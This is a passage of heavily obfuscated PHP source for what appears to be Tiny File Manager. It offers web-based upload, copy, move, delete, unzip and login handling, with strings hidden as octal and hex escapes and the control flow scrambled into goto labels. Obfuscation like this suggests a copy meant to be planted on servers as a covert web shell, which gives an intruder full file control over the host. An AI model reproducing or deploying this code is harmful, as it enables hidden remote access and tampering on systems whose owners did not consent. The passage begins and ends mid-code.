</a><button class="navbar-toggler"type="button"aria-label="Toggle navigation"aria-controls="navbarSupportedContent"aria-expanded="false"data-bs-target="#navbarSupportedContent"data-bs-toggle="collapse"><span class="navbar-toggler-icon"></span></button><div class="collapse navbar-collapse"id="navbarSupportedContent"><?php  $path = fm_clean_path($path); $root_url = "\74\141\x20\x68\162\x65\x66\75\x27\77\160\x3d\47\76\x3c\151\40\x63\x6c\141\163\163\75\x27\x66\x61\x20\x66\x61\x2d\x68\157\x6d\x65\x27\40\x61\x72\x69\141\55\150\151\x64\144\145\x6e\x3d\47\x74\x72\x75\145\47\40\164\151\164\x6c\x65\75\47" . FM_ROOT_PATH . "\47\x3e\x3c\x2f\151\76\74\x2f\x61\76"; $sep = "\74\x69\40\x63\x6c\141\x73\x73\75\42\142\162\145\141\x64\x2d\143\x72\x75\155\x62\42\x3e\40\x2f\40\74\x2f\x69\x3e"; if ($path != '') { $exploded = explode("\57", $path); $count = count($exploded); $array = array(); $parent = ''; for ($i = 0; $i < $count; $i++) { $parent = trim($parent . "\57" . $exploded[$i], "\x2f"); $parent_enc = urlencode($parent); $array[] = "\x3c\x61\x20\x68\162\145\146\x3d\47\77\160\75{$parent_enc}\x27\76" . fm_enc(fm_convert_win($exploded[$i])) . "\x3c\57\x61\x3e"; } $root_url .= $sep . implode($sep, $array); } echo "\x3c\144\x69\x76\40\x63\x6c\x61\x73\163\x3d\x22\143\157\154\55\170\163\55\x36\x20\x63\157\154\55\163\155\55\65\42\76" . $root_url . $editFile . "\x3c\x2f\144\151\166\x3e"; ?>
<div class="col-sm-7 col-xs-6"><ul class="navbar-nav justify-content-end<?php  echo fm_get_theme(); ?>
"><li class="nav-item mr-2"><div class="input-group input-group-sm mr-1"style="margin-top:4px"><input id="search-addon"class="form-control"placeholder="<?php  echo lng("\x46\151\154\164\145\x72"); ?>
"aria-label="<?php  echo lng("\x53\x65\141\x72\x63\x68"); ?>
"aria-describedby="search-addon2"><div class="input-group-append"><span class="input-group-text brl-0 brr-0"id="search-addon2"><i class="fa fa-search"></i></span></div><div class="btn-group input-group-append"><span class="input-group-text brl-0 dropdown-toggle"aria-expanded="false"aria-haspopup="true"data-bs-toggle="dropdown"></span><div class="dropdown-menu dropdown-menu-right"><a href="<?php  echo $path2 = $path ? $path : "\x2e"; ?>
"class="dropdown-item"data-bs-target="#searchModal"data-bs-toggle="modal"id="js-search-modal"><?php  echo lng("\x41\x64\x76\x61\x6e\143\145\144\40\123\x65\x61\162\x63\150"); ?>
</a></div></div></div></li><?php  if (!FM_READONLY) { ?>
<li class="nav-item"><a href="?p=<?php  echo urlencode(FM_PATH); ?>
&upload"class="nav-link"title="<?php  echo lng("\x55\x70\154\x6f\x61\x64"); ?>
"><i class="fa fa-cloud-upload"aria-hidden="true"></i><?php  echo lng("\125\160\154\157\141\x64"); ?>
</a></li><li class="nav-item"><a href="#createNewItem"class="nav-link"title="<?php  echo lng("\x4e\x65\167\111\164\x65\x6d"); ?>
"data-bs-target="#createNewItem"data-bs-toggle="modal"><i class="fa fa-plus-square"></i><?php  echo lng("\x4e\145\x77\111\164\145\x6d"); ?>
</a></li><?php  } if (FM_USE_AUTH) { ?>
<li class="nav-item avatar dropdown"><a class="nav-link dropdown-toggle"data-bs-toggle="dropdown"id="navbarDropdownMenuLink-5"aria-expanded="false"aria-haspopup="true"><i class="fa fa-user-circle"></i><?php  if (isset($_SESSION[FM_SESSION_ID]["\154\157\147\x67\145\x64"])) { echo $_SESSION[FM_SESSION_ID]["\x6c\157\147\x67\145\x64"]; } ?>
</a><div class="dropdown-menu text-small shadow<?php  echo fm_get_theme(); ?>
"aria-labelledby="navbarDropdownMenuLink-5"><?php  if (!FM_READONLY) { ?>
<a href="?p=<?php  echo urlencode(FM_PATH); ?>
&settings=1"class="nav-link dropdown-item"title="<?php  echo lng("\x53\x65\164\164\151\x6e\x67\x73"); ?>
"><i class="fa fa-cog"aria-hidden="true"></i><?php  echo lng("\123\x65\x74\164\x69\x6e\147\163"); ?>
</a><?php  } ?>
<a href="?p=<?php  echo urlencode(FM_PATH); ?>
&help=2"class="nav-link dropdown-item"title="<?php  echo lng("\x48\x65\x6c\160"); ?>
"><i class="fa fa-exclamation-circle"aria-hidden="true"></i><?php  echo lng("\110\x65\154\160"); ?>
</a><a href="?logout=1"class="nav-link dropdown-item"title="<?php  echo lng("\x4c\157\x67\x6f\x75\x74"); ?>
"><i class="fa fa-sign-out"aria-hidden="true"></i><?php  echo lng("\x4c\157\147\x6f\165\164"); ?>
</a></div></li><?php  } else { if (!FM_READONLY) { ?>
<li class="nav-item"><a href="?p=<?php  echo urlencode(FM_PATH); ?>
&settings=1"class="nav-link dropdown-item"title="<?php  echo lng("\123\145\x74\x74\x69\x6e\x67\163"); ?>
"><i class="fa fa-cog"aria-hidden="true"></i><?php  echo lng("\123\145\164\164\x69\156\x67\x73"); ?>
</a></li><?php  } } ?>
</ul></div></div></nav><?php  } goto QjOVy; tswKE: $ip_blacklist = array("\x30\x2e\x30\x2e\60\56\60", "\72\72"); goto tD2_x; wt7le: echo lng("\101\143\x74\151\157\156\163"); goto EIAQC; WDcgS: if (isset($_POST["\x75\x6e\172\151\160"], $_POST["\164\157\153\x65\156"]) && !FM_READONLY) { if (!verifyToken($_POST["\164\x6f\x6b\x65\156"])) { fm_set_msg(lng("\x49\156\166\141\x6c\x69\x64\x20\x54\157\153\145\x6e\56"), "\x65\x72\162\x6f\162"); } $unzip = $_POST["\x75\156\172\x69\x70"]; $unzip = fm_clean_path($unzip); $unzip = str_replace("\x2f", '', $unzip); $isValid = false; $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= "\57" . FM_PATH; } if ($unzip != '' && is_file($path . "\57" . $unzip)) { $zip_path = $path . "\57" . $unzip; $ext = pathinfo($zip_path, PATHINFO_EXTENSION); $isValid = true; } else { fm_set_msg(lng("\x46\x69\x6c\145\40\156\157\x74\40\146\x6f\x75\x6e\x64"), "\x65\x72\162\157\x72"); } if ($ext == "\x7a\x69\160" && !class_exists("\132\151\160\101\162\143\150\x69\x76\x65") || $ext == "\x74\x61\162" && !class_exists("\x50\150\x61\x72\104\x61\x74\141")) { fm_set_msg(lng("\x4f\x70\145\162\141\x74\151\157\156\x73\x20\167\151\164\x68\40\x61\x72\x63\150\x69\166\x65\163\40\x61\x72\x65\x20\x6e\x6f\164\x20\141\x76\x61\x69\154\x61\x62\x6c\x65"), "\x65\x72\x72\157\162"); $FM_PATH = FM_PATH; fm_redirect(FM_SELF_URL . "\77\160\75" . urlencode($FM_PATH)); } if ($isValid) { $tofolder = ''; if (isset($_POST["\x74\x6f\146\x6f\154\x64\x65\162"])) { $tofolder = pathinfo($zip_path, PATHINFO_FILENAME); if (fm_mkdir($path . "\57" . $tofolder, true)) { $path .= "\57" . $tofolder; } } if ($ext == "\172\151\x70") { $zipper = new FM_Zipper(); $res = $zipper->unzip($zip_path, $path); } elseif ($ext == "\x74\x61\x72") { try { $gzipper = new PharData($zip_path); if (@$gzipper->extractTo($path, null, true)) { $res = true; } else { $res = false; } } catch (Exception $e) { $res = true; } } if ($res) { fm_set_msg(lng("\101\x72\x63\150\151\166\145\x20\x75\x6e\x70\141\143\x6b\x65\144")); } else { fm_set_msg(lng("\101\162\x63\x68\x69\x76\145\40\156\x6f\x74\40\x75\x6e\x70\x61\x63\153\x65\x64"), "\x65\162\162\x6f\162"); } } else { fm_set_msg(lng("\x46\x69\x6c\145\x20\x6e\157\164\40\146\x6f\165\x6e\144"), "\x65\x72\162\157\162"); } $FM_PATH = FM_PATH; fm_redirect(FM_SELF_URL . "\x3f\x70\75" . urlencode($FM_PATH)); } goto FVvMS; JjRla: function fm_rcopy($path, $dest, $upd = true, $force = true) { if (is_dir($path)) { if (!fm_mkdir($dest, $force)) { return false; } $objects = scandir($path); $ok = true; if (is_array($objects)) { foreach ($objects as $file) { if ($file != "\x2e" && $file != "\56\x2e") { if (!fm_rcopy($path . "\57" . $file, $dest . "\x2f" . $file)) { $ok = false; } } } } return $ok; } elseif (is_file($path)) { return fm_copy($path, $dest, $upd); } return false; } goto DGszZ; d1KLk: if (isset($_POST["\146\151\x6c\145"], $_POST["\x63\157\160\171\x5f\164\157"], $_POST["\146\151\156\x69\x73\150"], $_POST["\x74\x6f\x6b\x65\x6e"]) && !FM_READONLY) { if (!verifyToken($_POST["\x74\157\153\x65\156"])) { fm_set_msg("\x49\x6e\166\141\154\151\x64\x20\x54\157\153\x65\x6e\x2e", "\145\162\x72\157\162"); } $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= "\57" . FM_PATH; } $copy_to_path = FM_ROOT_PATH; $copy_to = fm_clean_path($_POST["\x63\x6f\x70\171\137\x74\157"]); if ($copy_to != '') { $copy_to_path .= "\57" . $copy_to; } if ($path == $copy_to_path) { fm_set_msg(lng("\x50\141\x74\150\163\40\x6d\x75\163\164\x20\x62\145\x20\156\x6f\164\x20\145\x71\165\141\154"), "\x61\x6c\x65\162\164"); $FM_PATH = FM_PATH; fm_redirect(FM_SELF_URL . "\x3f\160\x3d" . urlencode($FM_PATH)); } if (!is_dir($copy_to_path)) { if (!fm_mkdir($copy_to_path, true)) { fm_set_msg("\x55\156\141\142\154\x65\x20\164\157\40\143\x72\x65\x61\164\145\x20\x64\145\163\164\151\156\x61\x74\x69\x6f\156\40\146\x6f\x6c\144\x65\x72", "\x65\x72\x72\157\162"); $FM_PATH = FM_PATH; fm_redirect(FM_SELF_URL . "\x3f\x70\x3d" . urlencode($FM_PATH)); } } $move = isset($_POST["\155\x6f\166\x65"]); $errors = 0; $files = $_POST["\x66\x69\x6c\145"]; if (is_array($files) && count($files)) { foreach ($files as $f) { if ($f != '') { $f = fm_clean_path($f); $from = $path . "\57" . $f; $dest = $copy_to_path . "\x2f" . $f; if ($move) { $rename = fm_rename($from, $dest); if ($rename === false) { $errors++; } } else { if (!fm_rcopy($from, $dest)) { $errors++; } } } } if ($errors == 0) { $msg = $move ? "\123\145\x6c\145\x63\x74\145\144\x20\x66\151\x6c\x65\x73\x20\141\x6e\x64\x20\x66\x6f\x6c\144\145\x72\163\40\x6d\157\x76\x65\144" : "\x53\x65\x6c\x65\143\x74\x65\144\40\146\151\x6c\x65\x73\40\x61\x6e\x64\x20\146\x6f\154\144\145\162\x73\40\x63\157\160\151\145\x64"; fm_set_msg($msg); } else { $msg = $move ? "\105\162\x72\157\x72\40\167\x68\x69\154\145\40\x6d\157\x76\x69\x6e\147\x20\x69\x74\x65\x6d\x73" : "\105\162\162\x6f\162\40\x77\150\151\154\145\40\143\x6f\x70\x79\x69\x6e\147\x20\x69\164\x65\155\x73"; fm_set_msg($msg, "\x65\162\162\157\x72"); } } else { fm_set_msg(lng("\116\157\164\150\151\156\x67\40\x73\145\154\145\x63\164\145\144"), "\141\154\x65\162\164"); } $FM_PATH = FM_PATH; fm_redirect(FM_SELF_URL . "\77\160\75" . urlencode($FM_PATH)); } goto szBGb; lc9rA: $show_hidden_files = isset($cfg->data["\163\150\x6f\x77\137\150\151\x64\x64\x65\156"]) ? $cfg->data["\163\150\x6f\167\x5f\x68\151\144\x64\x65\156"] : true; goto Jzdgf; w6lOb: if (isset($_GET["\x68\145\154\x70"])) { fm_show_header(); fm_show_nav_path(FM_PATH); global $cfg, $lang; ?>
<div class="pt-3 col-md-8 offset-md-2"><div class="card mb-2<?php  echo fm_get_theme(); ?>
"><h6 class="card-header d-flex justify-content-between"><span><i class="fa fa-exclamation-circle"></i><?php  echo lng("\x48\145\154\160"); ?>
</span><a href="?p=<?php  echo FM_PATH; ?>
"class="text-danger"><i class="fa fa-times-circle-o"></i><?php  echo lng("\x43\x61\x6e\x63\x65\x6c"); ?>
</a></h6><div class="card-body"><div class="row"><div class="col-xs-12 col-sm-6"><p><h3><a href="https://github.com/prasathmani/tinyfilemanager"class="app-v-title"target="_blank">Tiny File Manager<?php  echo VERSION; ?>
</a></h3></p><p>Author: Prasath Mani</p><p>Mail Us: <a href="mailto:ccpprogrammers@gmail.com">ccpprogrammers[at]gmail.com</a></p></div><div class="col-xs-12 col-sm-6"><div class="card"><ul class="list-group list-group-flush"><li class="list-group-item"><a href="https://github.com/prasathmani/tinyfilemanager/wiki"target="_blank"><i class="fa fa-question-circle"></i><?php  echo lng("\110\145\154\160\x20\x44\157\x63\165\x6d\145\x6e\164\x73"); ?>
</a></li><li class="list-group-item"><a href="https://github.com/prasathmani/tinyfilemanager/issues"target="_blank"><i class="fa fa-bug"></i><?php  echo lng("\122\145\160\157\x72\x74\x20\x49\163\x73\165\x65"); ?>
</a></li><?php  if (!FM_READONLY) { ?>
<li class="list-group-item"><a href="javascript:show_new_pwd();"><i class="fa fa-lock"></i><?php  echo lng("\x47\x65\x6e\145\162\141\164\145\x20\x6e\x65\x77\40\160\141\x73\163\x77\x6f\162\x64\x20\150\141\163\150"); ?>
</a></li><?php  } ?>
</ul></div></div></div><div class="row hidden js-new-pwd mt-2"><div class="col-12"><form method="POST"action=""class="form-inline"onsubmit="return new_password_hash(this)"><input name="type"type="hidden"value="pwdhash"aria-hidden="true"aria-label="hidden"><div class="mb-2 form-group"><label for="staticEmail2"><?php  echo lng("\x47\x65\156\145\162\141\164\145\x20\156\145\167\x20\x70\x61\163\x73\167\x6f\x72\144\40\150\141\x73\150"); ?>
</label></div><div class="mb-2 form-group mx-sm-3"><label for="inputPassword2"class="sr-only"><?php  echo lng("\120\x61\163\x73\x77\x6f\162\x64"); ?>
</label> <input name="inputPassword2"id="inputPassword2"class="btn-sm form-control"required placeholder="<?php  echo lng("\120\x61\163\163\167\x6f\x72\x64"); ?>
"></div><button class="btn btn-sm btn-success mb-2"type="submit"><?php  echo lng("\x47\145\x6e\x65\162\x61\x74\145"); ?>
</button></form><textarea class="form-control"id="js-pwd-result"readonly rows="2"></textarea></div></div></div></div></div><?php  fm_show_footer(); die; } goto hVCfR; R4l3U: define("\106\x4d\x5f\125\123\105\x5f\x41\125\x54\110", $use_auth); goto VlMkl; L6e6x: function fm_get_zif_info($path, $ext) { if ($ext == "\x7a\151\x70" && function_exists("\x7a\x69\x70\x5f\157\160\x65\x6e")) { $arch = @zip_open($path); if ($arch) { $filenames = array(); while ($zip_entry = @zip_read($arch)) { $zip_name = @zip_entry_name($zip_entry); $zip_folder = substr($zip_name, -1) == "\57"; $filenames[] = array("\156\141\x6d\x65" => $zip_name, "\x66\151\x6c\145\163\x69\x7a\145" => @zip_entry_filesize($zip_entry), "\x63\157\155\160\162\145\163\163\x65\x64\x5f\x73\151\172\145" => @zip_entry_compressedsize($zip_entry), "\x66\x6f\154\144\145\162" => $zip_folder); } @zip_close($arch); return $filenames; } } elseif ($ext == "\x74\141\162" && class_exists("\x50\x68\x61\162\x44\x61\x74\x61")) { $archive = new PharData($path); $filenames = array(); foreach (new RecursiveIteratorIterator($archive) as $file) { $parent_info = $file->getPathInfo(); $zip_name = str_replace("\x70\150\x61\x72\72\x2f\57" . $path, '', $file->getPathName()); $zip_name = substr($zip_name, ($pos = strpos($zip_name, "\57")) !== false ? $pos + 1 : 0); $zip_folder = $parent_info->getFileName(); $zip_info = new SplFileInfo($file); $filenames[] = array("\x6e\141\x6d\x65" => $zip_name, "\x66\x69\154\145\163\151\172\145" => $zip_info->getSize(), "\x63\x6f\155\160\162\145\x73\163\x65\x64\137\x73\x69\x7a\145" => $file->getCompressedSize(), "\x66\x6f\x6c\144\145\162" => $zip_folder); } return $filenames; } return false; } goto SCXb6; gILDa: function fm_rdelete($path) { if (is_link($path)) { return unlink($path); } elseif (is_dir($path)) { $objects = scandir($path); $ok = true; if (is_array($objects)) { foreach ($objects as $file) { if ($file != "\56" && $file != "\56\56") { if (!fm_rdelete($path . "\57" . $file)) { $ok = false; } } } } return $ok ? rmdir($path) : false; } elseif (is_file($path)) { return unlink($path); } return false; } goto WFy7n; Oj2Ea: if (isset($_GET["\143\157\x70\171"]) && !isset($_GET["\x66\151\156\x69\x73\150"]) && !FM_READONLY) { $copy = $_GET["\143\157\160\x79"]; $copy = fm_clean_path($copy); if ($copy == '' || !file_exists(FM_ROOT_PATH . "\57" . $copy)) { fm_set_msg(lng("\x46\x69\154\x65\40\x6e\x6f\164\40\x66\157\x75\x6e\144"), "\x65\x72\162\x6f\x72"); $FM_PATH = FM_PATH; fm_redirect(FM_SELF_URL . "\x3f\160\75" . urlencode($FM_PATH)); } fm_show_header(); fm_show_nav_path(FM_PATH); ?>
<div class="path"><p><b>Copying</b></p><p class="break-word"><strong>Source path:</strong><?php  echo fm_enc(fm_convert_win(FM_ROOT_PATH . "\57" . $copy)); ?>
<br><strong>Destination folder:</strong><?php  echo fm_enc(fm_convert_win(FM_ROOT_PATH . "\57" . FM_PATH)); ?>
</p><p><b><a href="?p=<?php  echo urlencode(FM_PATH); ?>
&copy=<?php  echo urlencode($copy); ?>
&finish=1"><i class="fa fa-check-circle"></i> Copy</a></b> <b><a href="?p=<?php  echo urlencode(FM_PATH); ?>
&copy=<?php  echo urlencode($copy); ?>
&finish=1&move=1"><i class="fa fa-check-circle"></i> Move</a></b> <b><a href="?p=<?php  echo urlencode(FM_PATH); ?>
"class="text-danger"><i class="fa fa-times-circle"></i> Cancel</a></b></p><p><i><?php  echo lng("\123\145\x6c\x65\x63\x74\x20\146\157\x6c\144\145\162"); ?>
</i></p><ul class="break-word folders"><?php  if ($parent !== false) { ?>
<li><a href="?p=<?php  echo urlencode($parent); ?>
&copy=<?php  echo urlencode($copy); ?>
"><i class="fa fa-chevron-circle-left"></i> ..</a></li><?php  } foreach ($folders as $f) { ?>
<li><a href="?p=<?php  echo urlencode(trim(FM_PATH . "\x2f" . $f, "\57")); ?>
&copy=<?php  echo urlencode($copy); ?>
"><i class="fa fa-folder-o"></i><?php  echo fm_convert_win($f); ?>
</a></li><?php  } ?>
</ul></div><?php  fm_show_footer(); die; } goto OzwKH; UTs20: if ($ip_ruleset != "\117\106\x46") { function getClientIP() { if (array_key_exists("\110\x54\x54\120\137\103\x46\137\103\117\x4e\x4e\105\103\124\x49\116\x47\137\x49\120", $_SERVER)) { return $_SERVER["\x48\124\x54\120\x5f\103\x46\x5f\103\x4f\116\x4e\x45\103\124\111\x4e\107\x5f\111\120"]; } else { if (array_key_exists("\110\x54\124\x50\x5f\130\x5f\106\x4f\x52\127\x41\122\x44\105\x44\x5f\x46\117\x52", $_SERVER)) { return $_SERVER["\x48\124\x54\x50\137\130\137\x46\117\122\127\x41\x52\x44\105\x44\137\106\117\x52"]; } else { if (array_key_exists("\122\105\115\x4f\124\105\137\101\104\x44\x52", $_SERVER)) { return $_SERVER["\122\105\115\117\124\105\x5f\101\x44\104\122"]; } else { if (array_key_exists("\110\124\124\x50\x5f\103\114\x49\105\116\124\x5f\111\120", $_SERVER)) { return $_SERVER["\x48\124\x54\x50\x5f\x43\x4c\x49\x45\x4e\124\137\111\120"]; } } } } return ''; } $clientIp = getClientIP(); $proceed = false; $whitelisted = in_array($clientIp, $ip_whitelist); $blacklisted = in_array($clientIp, $ip_blacklist); if ($ip_ruleset == "\101\116\104") { if ($whitelisted == true && $blacklisted == false) { $proceed = true; } } else { if ($ip_ruleset == "\117\x52") { if ($whitelisted == true || $blacklisted == false) { $proceed = true; } } } if ($proceed == false) { trigger_error("\x55\163\x65\162\40\x63\x6f\x6e\x6e\145\143\164\151\157\156\40\x64\145\156\x69\145\144\40\146\162\157\155\72\x20" . $clientIp, E_USER_WARNING); if ($ip_silent == false) { fm_set_msg(lng("\x41\x63\143\145\x73\x73\40\144\x65\156\x69\145\x64\x2e\x20\x49\x50\40\162\145\163\x74\162\x69\x63\164\151\157\x6e\40\141\160\160\x6c\x69\x63\141\142\x6c\x65"), "\145\162\x72\x6f\162"); fm_show_header_login(); fm_show_message(); } die; } } goto PZ_He; Wl4aX: function get_absolute_path($path) { $path = str_replace(array("\57", "\134"), DIRECTORY_SEPARATOR, $path); $parts = array_filter(explode(DIRECTORY_SEPARATOR, $path), "\x73\x74\x72\154\145\x6e"); $absolutes = array(); foreach ($parts as $part) { if ("\56" == $part) { continue; } if ("\56\56" == $part) { array_pop($absolutes); } else { $absolutes[] = $part; } } return implode(DIRECTORY_SEPARATOR, $absolutes); } goto Ut_0Q; rlfDC: function fm_set_msg($msg, $status = "\157\x6b") { $_SESSION[FM_SESSION_ID]["\x6d\145\x73\x73\x61\x67\145"] = $msg; $_SESSION[FM_SESSION_ID]["\x73\164\x61\164\x75\x73"] = $status; } goto eO_tJ; qk3c_: $hide_Cols = isset($cfg->data["\x68\151\x64\x65\137\103\157\x6c\163"]) ? $cfg->data["\150\151\x64\145\x5f\x43\x6f\154\x73"] : true; goto Y4iQA; TisQO: $root_url = fm_clean_path($root_url); goto yuV7e; mW79D: $p = isset($_GET["\x70"]) ? $_GET["\x70"] : (isset($_POST["\x70"]) ? $_POST["\160"] : ''); goto CNpnd; gfKOg: defined("\106\x4d\137\x53\x48\x4f\x57\x5f\x48\111\104\104\x45\116") || define("\106\x4d\x5f\123\110\x4f\x57\x5f\x48\111\104\104\x45\x4e", $show_hidden_files); goto qVC6L; XZROZ: function fm_show_footer_login() { ?>
</div><script src="https://code.jquery.com/jquery-3.6.1.min.js"crossorigin="anonymous"integrity="sha256-o88AwQnZB+VDvE9tvIXrMQaPlFFSUTR+nldQm1LuPXQ="></script><script src="https://cdn.jsdelivr.net/npm/bootstrap@5.2.2/dist/js/bootstrap.bundle.min.js"crossorigin="anonymous"integrity="sha384-OERcA2EqjJCMA+/3y+gxIOqMEjwtxJY7qPCqsdltbNJuaOe923+mo//f6V8Qbsw3"></script></body></html><?php  } goto w_BNz; aWOKO: ?>
"id="main-table"><thead class="thead-white"><tr><?php  goto G34cW; oTmmZ: $is_https = isset($_SERVER["\x48\124\124\x50\x53"]) && ($_SERVER["\110\124\124\x50\123"] == "\157\x6e" || $_SERVER["\x48\x54\124\x50\x53"] == 1) || isset($_SERVER["\x48\x54\124\120\x5f\x58\x5f\106\x4f\122\x57\101\122\x44\105\x44\x5f\120\x52\117\124\x4f"]) && $_SERVER["\x48\x54\124\120\x5f\130\x5f\106\x4f\122\127\101\x52\104\x45\104\x5f\120\122\x4f\x54\117"] == "\x68\x74\x74\160\163"; goto QSLFO; GAdSp: function fm_get_onlineViewer_exts() { return array("\x64\x6f\x63", "\x64\157\x63\170", "\x78\154\x73", "\170\x6c\x73\x78", "\x70\x64\146", "\x70\x70\x74", "\160\160\164\x78", "\x61\151", "\x70\163\x64", "\144\x78\x66", "\x78\160\x73", "\x72\141\162", "\157\x64\164", "\x6f\x64\163"); } goto apRdP; DGszZ: function fm_mkdir($dir, $force) { if (file_exists($dir)) { if (is_dir($dir)) { return $dir; } elseif (!$force) { return false; } unlink($dir); } return mkdir($dir, 511, true); } goto OBoK2; P_W3f: echo $_SESSION["\164\157\x6b\145\156"]; goto g8b1Q; Ejjfk: $cfg = new FM_Config(); goto oNn8B; qIJXn: echo $tableTheme; goto aWOKO; EIAQC: ?>
</th></tr></thead><?php  goto d6L60; YRYFU: if (isset($_POST["\x67\x72\157\x75\x70"], $_POST["\x64\x65\x6c\145\164\x65"], $_POST["\x74\x6f\x6b\x65\x6e"]) && !FM_READONLY) { if (!verifyToken($_POST["\164\x6f\x6b\145\156"])) { fm_set_msg(lng("\111\x6e\166\141\154\151\144\x20\124\x6f\153\145\156\56"), "\x65\x72\162\157\x72"); } $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= "\x2f" . FM_PATH; } $errors = 0; $files = $_POST["\146\151\x6c\145"]; if (is_array($files) && count($files)) { foreach ($files as $f) { if ($f != '') { $new_path = fm_clean_path($path . "\57" . $f); if (!fm_rdelete($new_path)) { $errors++; } } } if ($errors == 0) { fm_set_msg(lng("\x53\145\x6c\x65\x63\164\145\x64\x20\x66\x69\154\x65\x73\x20\x61\156\x64\40\146\x6f\154\144\145\x72\x20\144\145\x6c\145\x74\x65\x64")); } else { fm_set_msg(lng("\x45\x72\162\x6f\162\x20\x77\x68\x69\154\145\40\x64\145\x6c\145\x74\151\x6e\x67\x20\x69\x74\x65\x6d\163"), "\145\x72\162\157\162"); } } else { fm_set_msg(lng("\x4e\157\164\150\x69\x6e\x67\x20\163\145\154\145\x63\164\145\x64"), "\141\154\x65\x72\x74"); } $FM_PATH = FM_PATH; fm_redirect(FM_SELF_URL . "\77\160\75" . urlencode($FM_PATH)); } goto Yjf9B; mcdRA: echo lng("\x53\x69\172\x65"); goto BnwYs; nKKsC: function fm_get_video_exts() { return array("\141\166\151", "\167\x65\x62\155", "\x77\155\166", "\x6d\x70\x34", "\155\64\166", "\x6f\147\155", "\157\147\166", "\x6d\x6f\x76", "\x6d\153\x76"); } goto Shjrz; Dnc81: $folders = array(); goto mS2j6; RXh18: if (isset($_GET["\143\157\160\171"], $_GET["\146\x69\x6e\x69\163\150"]) && !FM_READONLY) { $copy = $_GET["\x63\157\x70\171"]; $copy = fm_clean_path($copy); if ($copy == '') { fm_set_msg(lng("\x53\x6f\165\162\143\x65\x20\x70\141\164\x68\x20\156\157\x74\40\144\145\146\151\x6e\145\x64"), "\x65\162\162\157\x72"); $FM_PATH = FM_PATH; fm_redirect(FM_SELF_URL . "\x3f\160\75" . urlencode($FM_PATH)); } $from = FM_ROOT_PATH . "\x2f" . $copy; $dest = FM_ROOT_PATH; if (FM_PATH != '') { $dest .= "\x2f" . FM_PATH; } $dest .= "\57" . basename($from); $move = isset($_GET["\155\157\x76\x65"]); if ($from != $dest) { $msg_from = trim(FM_PATH . "\x2f" . basename($from), "\57"); if ($move) { $rename = fm_rename($from, $dest); if ($rename) { fm_set_msg(sprintf(lng("\115\157\x76\x65\144\40\146\x72\157\x6d") . "\x20\74\142\76\x25\163\74\57\142\x3e\40" . lng("\164\x6f") . "\x20\x3c\x62\76\45\x73\74\x2f\x62\x3e", fm_enc($copy), fm_enc($msg_from))); } elseif ($rename === null) { fm_set_msg(lng("\106\x69\x6c\x65\40\x6f\162\x20\x66\157\154\x64\145\x72\40\x77\151\164\x68\40\x74\x68\151\163\x20\x70\x61\x74\x68\40\141\154\x72\x65\141\x64\171\40\x65\170\x69\163\x74\x73"), "\141\154\145\x72\x74"); } else { fm_set_msg(sprintf(lng("\x45\162\162\157\162\40\x77\150\151\154\x65\x20\x6d\157\x76\x69\156\x67\x20\146\x72\x6f\x6d") . "\x20\74\x62\76\x25\163\x3c\57\142\x3e\x20" . lng("\x74\x6f") . "\x20\x3c\142\76\45\x73\74\57\x62\x3e", fm_enc($copy), fm_enc($msg_from)), "\x65\162\x72\x6f\162"); } } else { if (fm_rcopy($from, $dest)) { fm_set_msg(sprintf(lng("\103\x6f\160\x69\x65\144\x20\x66\x72\157\x6d") . "\x20\x3c\142\76\x25\x73\74\57\142\x3e\x20" . lng("\x74\157") . "\40\x3c\x62\76\45\x73\74\57\142\x3e", fm_enc($copy), fm_enc($msg_from))); } else { fm_set_msg(sprintf(lng("\105\x72\162\x6f\x72\40\167\150\151\x6c\x65\x20\143\x6f\x70\x79\x69\x6e\x67\40\x66\x72\157\x6d") . "\x20\74\142\x3e\45\163\74\x2f\142\76\x20" . lng("\164\157") . "\x20\x3c\142\x3e\x25\x73\x3c\x2f\x62\x3e", fm_enc($copy), fm_enc($msg_from)), "\145\x72\x72\157\x72"); } } } else { if (!$move) { $msg_from = trim(FM_PATH . "\x2f" . basename($from), "\57"); $fn_parts = pathinfo($from); $extension_suffix = ''; if (!is_dir($from)) { $extension_suffix = "\56" . $fn_parts["\x65\x78\164\x65\156\163\x69\x6f\x6e"]; } $fn_duplicate = $fn_parts["\x64\x69\162\156\x61\155\x65"] . "\x2f" . $fn_parts["\146\x69\x6c\145\x6e\141\155\x65"] . "\55" . date("\131\x6d\144\x48\151\x73") . $extension_suffix; $loop_count = 0; $max_loop = 1000; while (file_exists($fn_duplicate) & $loop_count < $max_loop) { $fn_parts = pathinfo($fn_duplicate); $fn_duplicate = $fn_parts["\x64\151\x72\x6e\x61\x6d\145"] . "\57" . $fn_parts["\146\151\x6c\x65\x6e\141\155\145"] . "\55\143\157\x70\171" . $extension_suffix; $loop_count++; } if (fm_rcopy($from, $fn_duplicate, False)) { fm_set_msg(sprintf("\103\x6f\160\171\x69\145\x64\40\146\162\x6f\x6d\40\x3c\x62\76\x25\163\74\57\142\x3e\40\164\x6f\40\74\142\x3e\45\163\x3c\x2f\142\76", fm_enc($copy), fm_enc($fn_duplicate))); } else { fm_set_msg(sprintf("\x45\x72\x72\157\162\40\167\x68\x69\154\145\40\143\157\160\x79\x69\156\147\x20\x66\x72\157\155\40\74\142\x3e\x25\x73\x3c\x2f\142\76\40\164\157\40\x3c\x62\76\x25\x73\x3c\57\142\76", fm_enc($copy), fm_enc($fn_duplicate)), "\145\x72\162\x6f\x72"); } } else { fm_set_msg(lng("\x50\141\x74\150\163\x20\x6d\165\x73\164\x20\x62\x65\40\x6e\x6f\164\40\x65\161\165\141\x6c"), "\141\x6c\x65\x72\164"); } } $FM_PATH = FM_PATH; fm_redirect(FM_SELF_URL . "\x3f\160\x3d" . urlencode($FM_PATH)); } goto d1KLk; iQw1i: $CONFIG = "\x7b\x22\154\x61\156\x67\42\x3a\x22\x65\156\x22\x2c\x22\145\162\162\157\x72\137\x72\145\160\157\x72\x74\x69\x6e\x67\x22\72\146\x61\x6c\x73\x65\x2c\42\x73\150\x6f\x77\137\150\151\x64\144\x65\x6e\x22\72\146\141\x6c\163\x65\54\x22\150\151\144\145\137\103\x6f\154\163\x22\72\146\141\154\163\145\x2c\42\164\150\x65\x6d\x65\x22\72\42\154\151\147\150\x74\42\x7d"; goto XiXEi; Tj2VO: echo fm_enc(FM_PATH); goto uLh_u; SwXQm: $highlightjs_style = "\x76\x73"; goto cxYL4; fIJks: $lang_list = array("\x65\156" => 